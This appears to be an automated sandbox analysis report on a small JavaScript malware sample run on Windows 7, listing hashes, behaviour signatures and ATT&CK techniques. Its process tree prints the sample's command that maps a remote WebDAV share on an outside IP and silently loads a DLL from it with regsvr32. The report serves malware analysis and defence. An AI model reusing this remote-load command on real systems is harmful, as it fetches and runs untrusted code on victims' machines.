173b0897e0e5ef3180a11938da6c7bc21d76f09c22e8834839aca8ba5b7acffc

Analysis

max time kernel
117s
max time network
125s
platform
windows7_x64
resource
win7-20240708-en
resource tags

arch:x64arch:x86image:win7-20240708-enlocale:en-usos:windows7-x64system
submitted
24/07/2024, 01:13

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

6475287177231369.js
Size

5KB
MD5

177dd2105d6cda765f71042101fffa58
SHA1

fbaeb491729701e1c51c3300dca357f4b0637cea
SHA256

c9ef91366aa6d97a1516445588a0e6c5eab50e3d12e75a200b93a80a2bbdcc89
SHA512

a33da79e491fc460b19539df6f2ca85d7f91a37464bfcf3faca386977c6515378a48bb5f38ba68c181b32485df8680b88e03a679a97e6dadb9e47803883277c8
SSDEEP

96:PDMhIcUbw/Vi7w5KaV3WQsc28AkiQPc28Z:bwIcUbw/Vi7w5KaV3WQsc28AkiQPc28Z

Score

3^/10

execution

Malware Config

Signatures

Command and Scripting Interpreter: JavaScript 1 TTPs
execution

JavaScript
T1059.007
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082
Runs net.exe

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 2168 wrote to memory of 2108	2168	wscript.exe	31
PID 2168 wrote to memory of 2108	2168	wscript.exe	31
PID 2168 wrote to memory of 2108	2168	wscript.exe	31
PID 2108 wrote to memory of 1804	2108	cmd.exe	33
PID 2108 wrote to memory of 1804	2108	cmd.exe	33
PID 2108 wrote to memory of 1804	2108	cmd.exe	33

C:\Windows\system32\wscript.exe
wscript.exe C:\Users\Admin\AppData\Local\Temp\6475287177231369.js
1⤵
- Suspicious use of WriteProcessMemory
PID:2168
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /k net use \\45.9.74.36@8888\davwwwroot\ && regsvr32 /s \\45.9.74.36@8888\davwwwroot\217453179714065.dll
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2108
- - C:\Windows\system32\net.exe
    net use \\45.9.74.36@8888\davwwwroot\
    3⤵
    PID:1804

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

JavaScript

T1059.007

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads